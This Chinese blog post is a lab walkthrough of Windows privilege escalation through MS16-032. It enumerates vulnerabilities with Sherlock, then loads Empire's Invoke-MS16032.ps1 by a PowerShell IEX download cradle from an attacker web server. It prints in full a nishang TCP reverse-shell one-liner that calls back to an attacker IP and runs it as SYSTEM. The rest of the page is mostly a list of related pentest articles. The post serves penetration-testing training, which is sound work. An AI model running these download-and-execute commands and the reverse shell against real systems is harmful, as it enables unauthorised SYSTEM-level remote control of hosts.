【安全】靶场实战-通过MS16-032提权

Windows Server 2008 R2渗透测试实战:从文件上传漏洞到3389远程桌面提权 文件上传漏洞是Web安全中常见的高危风险点,其原理在于服务器对用户上传的文件未进行充分验证,导致恶意脚本文件被上传并执行。这种漏洞的技术价值在于为攻击者提供了初始立足点,常被用于获取Web服务器控制权。在渗透测试实践中,攻击者利用此类漏洞上传WebShell后,会进一步通过系统信息收集寻找本地提权机会,最终目标是获取系统管理员权限并建立持久化控制通道,例如开启3389远程桌面服务。本文通过一个Windows Server 2008 R2环境下的完整攻防案例,详细拆解了从漏洞利用、WebShell连接到系统提 阅读详情

个人介绍:188号安全攻城狮 【甲方安全工程师/CISSP/培训讲师】
目前恶补相关安全知识中,欢迎各位一起技术探讨。
每一次评论/点赞,都将成为我继续分享的动力

MS16-032简介

该漏洞影响从Vista到Windows 10的所有Windows版本(包括服务器版本)。

  • Windows Vista
  • Windows 7
  • Windows 8.1
  • Windows 10
  • Windows 2008 Server
  • Windows 2012 Server

利用条件:

  1. 目标系统需要有2个以上的CPU核心 。
  2. PowerShell v2.0及更高版本必须正在运行。

可根据MS16-032(KB3139914)补丁是否安装,来判断当前版本是否可利用。
接下来让我们进行靶场实操,在这里已经省略掉低权限shell获取部分。

靶场实操

1. 提权漏洞枚举

通常,我们可以使用Watson来进行内核类提权漏洞的枚举,但其要求.net框架4.5及以上。当.net框架版本不满足要求时,可以采用其旧版本Sherlock。

在这里,我们先判断一下当前靶机的.net版本

cd C:\windows\microsoft.net\framework>
dir

在这里插入图片描述

如图所示,可以看到最高版本为4.0,所以在此我们选择Sherlock进行提权漏洞枚举。接下来,我们需要将Sherlock在远程服务器运行。在这里,我们先本地开启web服务,并放入Sherlock脚本。

python3 -m http.server 80

在这里插入图片描述
然后再已经获取到的低权限shell中,进行远程ps脚本下载&执行

# 远程加载模块
IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Sherlock.ps1')
# 查看当前可利用漏洞
Find-AllVulns

在这里插入图片描述
通过分析,有效信息如下,其中3个漏洞可利用(Appears Vulnerable状态)

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
             6-034?
VulnStatus : Appears Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
             ample-Exploits/MS16-135
VulnStatus : Appears Vulnerable

2. 提权尝试

在这里,我们使用Empire项目中的MS16032的exp:Invoke-MS16032.ps1。然后保存至我们web目录下。

通过该脚本,可以创建一个system权限的新进程。在这里,我们利该漏洞,来创建一个powershell的反弹shell。nishang项目中,进行反弹Shell的源码获取Invoke-PowerShellTcpOneLine.ps1,并将其保存至我们的Web目录下。

$client = New-Object System.Net.Sockets.TCPClient('192.168.xxx.xxx',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

然后回到在低权限shell中运行如下命令,加载提权脚本,并运行我们的木马

# 加载提权脚本
IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Invoke-MS16032.ps1')

# 提权,创建新进程并执行反弹shell
Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Invoke-PowerShellTcpOneLine.ps1')"

3. 其他坑点

需要判断一下当前powershell执行环境,如下图所示,当前powershell环境非64位环境。会导致该提权脚本产生异常。

[Environment]::Is64BitProcess

在这里插入图片描述

我们可以通过运行指定目录下的powershell,来切换为64位Shell。如下图所示,可以在通过执行sysnative下的进程,实现切换Shell。
在这里插入图片描述

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe

在这里插入图片描述

参考资料

windows10提权 即可查看到,这里目标是以Administartor权限测试,这里不进行验证,我都有Administartor了,我直接msf下面getsystem即可,getsystem实际上也是令牌窃取。里面共描述了服务路径,文件权限,计划任务,令牌窃取,图形化软件,应用组件安装等,这里只有令牌窃取需要管理员Administrator权限,值得注意的是该权限并不是管理员组中的其他用户。发现该文件以system权限运行,而我们拥有对该文件的修改权限,修改daclsve服务的具体执行文件,从而获取system权限。 阅读详情

相关推荐

Windows Server 2008 R2渗透实战:从信息收集到蚁剑提权完整指南

渗透测试是网络安全领域的核心实践,其本质是通过模拟攻击来评估系统安全性。其基本原理遵循经典的“杀伤链”模型,从信息收集开始,逐步深入至漏洞利用与权限提升。在技术价值上,掌握渗透测试方法论不仅能有效发现系统脆弱点,更是构建主动防御体系的基础。尤其在面对Windows Server 2008 R2等经典但广泛存在的系统时,理解其常见的安全配置缺陷和攻击路径,对于内网安全防护和红蓝对抗演练具有极高的实战意义。本文将以一次完整的实战演练为例,深入剖析如何利用BurpSuite进行Web漏洞挖掘,并通过中国蚁剑(An

weixin_33725807的博客 431

Metasploit学习笔记(五)——Meterpreter后渗透之WMIC实战MS16-032本地溢出漏洞

比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) 、MS11-080(KB2592799),然后使用没有编。因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。可以看到目标机只打了3个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补。过程简单来说就是这几步,成功利用反弹shell后就是Meterpreter了。在WIN7中查看补丁信息。

Zichel77的博客 1800

Vulnstack红日内网靶场实战:从外网渗透到域控提权完整指南

内网渗透是网络安全攻防演练的核心环节,它模拟攻击者在突破边界防御后,在企业内部网络横向移动、权限提升直至控制关键系统的全过程。其技术原理主要基于对Windows域架构、认证协议(如NTLM、Kerberos)和网络服务漏洞的深入利用。掌握内网渗透技术对于企业构建纵深防御体系、安全工程师提升实战能力具有重要价值,广泛应用于红蓝对抗、渗透测试和安全评估等场景。本文以Vulnstack红日安全内网域渗透靶场为实战环境,详细拆解了从外网打点、**横向移动**到**权限维持**的完整攻击链,涉及信息收集、漏洞利用、代

weixin_30613433的博客 493

利用WMIC实战MS16-032本地溢出漏洞

假设此处我们通过了一系列的渗透测试得到了目标机器的Meterpreter Shell.   首先输入getuid命令查看已经获得的权限,可以看到现在的权限很低,是test权限。 meterpreter > getuid Server username:WIN-S7TJ4B561MT\test 尝试输入getsystem命令提权,结果失败。 meterpreter > getsystem 接着查看系统的已达补丁,传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查

岁月净好 3426

网络安全渗透测试入门:从靶场实战到内网攻防的全流程解析

渗透测试是网络安全领域的核心实践技能,旨在通过模拟黑客攻击来评估系统安全性。其基本原理是在授权范围内,遵循标准化流程(如PTES或OSSTMM),对目标进行系统性的安全评估。掌握渗透测试技术对于企业构建主动防御体系、满足合规要求具有重要价值,广泛应用于金融、互联网、政企等关键行业的安全建设。在技术实践中,靶场作为安全可控的虚拟训练环境,扮演着“新手村”的关键角色。通过DVWA、VulnHub等主流靶场,学习者可以系统练习从信息收集、漏洞利用到权限提升的完整攻击链,特别是针对SQL注入、XSS等OWASP T

weixin_34117211的博客 1231

CISP-PTE实战:从Web渗透到Windows提权的完整攻击链解析

渗透测试是网络安全领域的核心实践,旨在通过模拟攻击发现系统漏洞。其基本原理是遵循标准化的测试流程,从信息收集、漏洞扫描到利用与提权,最终评估系统安全风险。这项技术的核心价值在于帮助企业主动识别并修复安全隐患,广泛应用于金融、政务、企业内网等关键基础设施的安全评估。在Windows Server环境中,特别是像2008 R2这样的经典系统,渗透测试工程师需要掌握从外部Web应用到内部系统权限提升的完整攻击链。本文以CISP-PTE认证的实操要求为背景,深入解析如何利用BurpSuite等工具进行Web漏洞挖掘

weixin_34234721的博客 421

MS16-032 漏洞复现

漏洞背景 Secondary Logon Service是其中的一个辅助登录服务。 Microsoft Windows的辅助登录服务存在特权提升漏洞,该漏洞源于程序没有正确管理内存中的请求句柄。本地攻击者可利用该漏洞以管理员身份运行任意代码。 微软在2016年3月8日已经更新了该漏洞的补丁文件KB3139914 影响范围 Microsoft Windows Vista SP2 Windows Server 2008 SP2和R2 SP1 Windows 7 SP1 Windows 8.1 Windows

EC_Carrot的博客 951

红日靶场VulnStack1渗透实战:从Web漏洞到内网横向移动全解析

渗透测试是网络安全领域的核心实践,其本质是通过模拟攻击者行为来评估系统安全性。其基本原理遵循经典的攻击链模型:从信息收集开始,通过漏洞利用获取初始访问权限,进而进行权限提升与横向移动,最终实现权限维持。这一过程的技术价值在于帮助安全人员深入理解攻击者视角,构建主动防御能力。在应用场景上,企业内网渗透测试尤为关键,它能有效发现从外网到内网的安全短板。本文以红日靶场VulnStack1这一经典内网渗透环境为例,详细演示了如何通过文件包含漏洞突破边界,并利用MySQL写文件功能获取Webshell,进而通过MS1

weixin_33966095的博客 386

DAY28:Linux、Windows 系统提权

Linux、Windows 系统提权、内核漏洞提权、脏牛提权(Dirty COW)、 SUID 提权,常用的可用于提权的程序`Nmap、Vim、find、Bash、More、Less、Nano、cp、awk` sudo提权、zip提权、计划任务提取、Linux明文root密码提权、利用 root 无密码执行...

qq_49433473的博客 5486

红日靶场实战:从Weblogic漏洞到域控的内网渗透全流程解析

内网渗透是网络安全攻防演练的核心环节,其本质是在已突破边界防御后,于受控网络内部进行横向移动和权限提升。这一过程通常遵循“攻击链”模型,从初始入侵点开始,通过信息收集、漏洞利用、凭证窃取和代理转发等技术,逐步深入网络核心区域。在实战中,代理工具链(如frp、proxychains)的搭建与使用是打通内网通道的关键,它允许攻击者将本地工具流量导向内网目标。同时,横向移动技术如哈希传递攻击和永恒之蓝漏洞利用,是突破内网主机隔离、获取更高权限的常见手段。这些技术的最终应用场景往往指向企业网络中最具价值的目标——域

weixin_34129696的博客 403

Vulnstack靶场搭建与实战:从环境配置到内网渗透完整指南

渗透测试是评估网络安全性的核心方法,其原理在于模拟攻击者行为,发现系统脆弱点。这项技术的价值在于帮助安全人员构建主动防御能力,广泛应用于企业安全评估、红蓝对抗演练等场景。在渗透测试学习中,一个高度仿真的实战环境至关重要。Vulnstack靶场正是这样一个综合性演练平台,它通过模拟真实企业网络架构,集成了从外网打点到内网横向移动的完整攻击链。本指南将深入解析如何利用VMware Workstation Pro搭建多层网络拓扑,并配置Kali Linux攻击机,为后续的漏洞利用、权限提升和域渗透等实战操作奠定坚

weixin_34342207的博客 450

Metasploit 提权篇

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 文章目录内核漏洞提权enum_patches模块Windows-Exploit-suggesterWindows C...

weixin_44110913的博客 1145

基于ATT&CK框架的内网渗透实战:从Vulnstack靶场到域控攻陷

内网渗透是网络安全攻防对抗中的核心环节,它涉及攻击者在突破边界后,在企业内部网络中进行横向移动、权限提升和持久化控制的一系列技术与战术。其基本原理在于利用网络信任关系、脆弱配置和身份认证协议(如Kerberos、NTLM)中的缺陷,通过凭证窃取、票据传递等技术实现权限跨越。掌握内网渗透技术对于构建主动防御体系、理解高级持续性威胁(APT)攻击链具有关键价值,广泛应用于红队评估、渗透测试和蓝队防御能力建设。本文以Vulnstack靶场为实战环境,系统剖析了从Web漏洞利用到域控攻陷的完整路径,并重点结合横向移

weixin_34406086的博客 310

网络安全竞赛实战:系统渗透与加固全流程解析

系统安全是网络安全领域的核心基础,它涉及操作系统、网络服务和应用程序的防护。其原理在于通过识别和修复漏洞、配置安全策略来构建纵深防御体系。掌握系统安全技术对于构建可信计算环境具有重要价值,广泛应用于企业服务器防护、安全运维和渗透测试等场景。在网络安全竞赛中,参赛者需综合运用信息收集、漏洞利用、权限提升等技能,完成从攻击到防御的全流程任务。本文聚焦于Windows与Linux混合靶场环境,详细拆解了Nmap扫描、Metasploit框架等工具在实战中的应用,并提供了从外网突破到内网横向移动的系统性方法论,最后

ciya3282的博客 379

[网络安全提高篇] 一〇三.Metasploit后渗透技术之信息收集、权限提权和功能模块

本文是“网络安全提高篇”第三篇文章,继续带领大家深入Metasploit技术,涉及后渗透相关的技术,包括信息收集、权限提权、移植漏洞模块和后门。同时,结合作者之前的漏洞利用及WannaCry逆向经验总结。本文学习了徐焱老师他们的《Web安全攻防渗透测试实战指南》,在此感谢。“网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。

杨秀璋的专栏 5611

IBM V3700更换控制器2(503错误)

正常的node1 ,机器代码版本:7.5.0.3, 机器代码构建:115.51.1509171734000。耐心等待后,刷新,看到node2,状态变成 节点状态:服务,错误:656,版本和node1一样了。新换的node2 ,机器代码版本:7.2.0.5, 机器代码构建:87.8.1404221000。耐心等待,刷新,node2,状态看到了,节点状态:活动,错误 724 1 1 0。拔出故障的控制,把内存和HBA卡,电池换到新的控制器。新的控制还是报错无法使用,节点状态:服务 错误:503。

klyshao的博客 4440

从容器逃逸到域控提权:一次完整的内网渗透实战解析

内网渗透是网络安全领域的核心攻防场景,其本质是在已突破边界防御后,于内部网络中进行横向移动和权限提升。其技术原理主要围绕信息收集、凭证窃取与利用、以及权限继承与传递三大核心。在混合架构(如容器与传统域环境共存)中,攻击面进一步扩大,技术价值在于理解纵深防御体系下的完整攻击链。典型的应用场景包括红队评估、渗透测试与防御体系验证。本文以一次从容器逃逸到最终控制域控制器(DC)的完整演练为例,深入剖析了容器逃逸、横向移动及DCSync攻击等关键环节的实现路径与排查技巧,为理解现代内网安全提供了实战视角。

dianxiangong2403的博客 421

ANSYS Help USER300

USER 300概述单元描述输入数据假设与限制条件 概述 单元描述 Mechanical APDL提供了一种方便的方法来创建自定义的单元,命名为USER300,可以创建几乎任何单元类型。 UserElem子程序为Mechanical APDL在单元类型创建上提供了一个接口,可传递用户自定义单元创建时所需的所有数据,然后从自定义单元返回所有数据和结果,以更新数据库和文件。因为通过接口可以访问数据库和文件信息,所以很少需要了解Mechanical APDL数据库程序和文件结构。该接口还提供了获取Mechanic

weixin_47019765的博客 2221

红日靶场2实战:从外网突破到域控的内网渗透全流程解析

内网渗透测试是网络安全领域的核心技能,其本质在于攻击者突破边界后,在企业内部网络中进行横向移动,以获取核心资产的控制权。这一过程涉及信息搜集、权限提升、横向移动和权限维持等多个技术环节,其核心原理在于利用网络信任关系和凭据复用。掌握内网渗透技术对于企业安全评估、红队演练和防御体系建设具有极高的实战价值,广泛应用于渗透测试、红蓝对抗和应急响应等场景。本文以备受推崇的“Vulnstack红日靶场”为实战环境,通过模拟真实企业内网,详细拆解了从外网Web漏洞利用获取初始立足点,到内网横向移动,最终攻陷域控制器的完

weixin_34055787的博客 345

WVP-GB28181-Pro配置避坑指南:从零到上线全流程详解(含ZLM自动同步技巧)

本文详细解析了WVP-GB28181-Pro视频平台的配置流程,特别针对国标视频平台部署中的常见陷阱,如stream-ip/sdp-ip配置错误、ZLM自动同步问题及端口冲突等,提供了实用的解决方案和优化建议,帮助开发者快速实现从零到上线的全流程部署。

weixin_30836759的博客 86

LLC谐振变换器软启动,不只是“慢启动”,还是“智能启动”

LLC谐振变换器的软启动,不只是“慢慢来”,而是要在控制时序、限流、响应速度之间精妙权衡。而数字控制,特别是用查表法或混合信号法,为实现真正的“最佳轨迹”提供了可能。✨小Tips:如果你的系统成本敏感,选择查表法准没错;如果你的设计目标是超高速响应,那就上混合信号的高配方案!

weixin_43199439的博客 684

红队实战:无文件不出网低权限提权技术深度解析与案例

在网络安全攻防领域,权限提升是渗透测试与红队行动中的核心环节。其基本原理在于利用系统配置缺陷、软件漏洞或合法功能滥用,突破进程或用户的权限边界,从而获取更高控制权。这项技术的核心价值在于,即使在严格的内网隔离、高安全监控及低权限起点的极端受限环境下,攻击链仍能得以维持和推进。典型的应用场景包括:通过Webshell获得的低权限服务账户(如IIS或Apache账户)需要突破隔离,在内网横向移动或控制关键资产;在无法连接外网下载工具、上传文件会触发告警的加固系统中,维持攻击能力。本文聚焦于**无文件**与**不

angou6476的博客 349

【RT-DETR涨点改进】小目标检测、特征融合改进篇 | TGRS 2024 | RT-DETR引入CSFM上下文选择融合模块,适合多模态检测、红外小目标检测、小目标检测、遥感目标检测等任务有效涨点

本文提出了一种改进RT-DETR目标检测模型的方法,通过引入上下文选择融合模块(CSFM)显著提升复杂背景下小目标和低对比度目标的检测精度。CSFM模块采用多尺度特征融合和动态特征选择机制,有效增强模型的全局上下文感知能力,同时保留细节特征。该模块通过通道减少机制和空间信息调节,实现从粗到细的特征聚合,减少误报并提高轮廓检测精度。实验表明,改进后的RT-DETR模型在多个基准测试中表现优异,计算效率与检测精度均优于现有方法。文章还详细介绍了模块配置和yaml文件修改方法,为模型部署提供指导。

Ai缝合怪、助力小伙伴高效发论文 1715
上一篇: 【安全】Linux Restricted Shell 绕过指南
下一篇: 【安全】使用Windows-Exploit-Suggester进行Windows提权分析
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值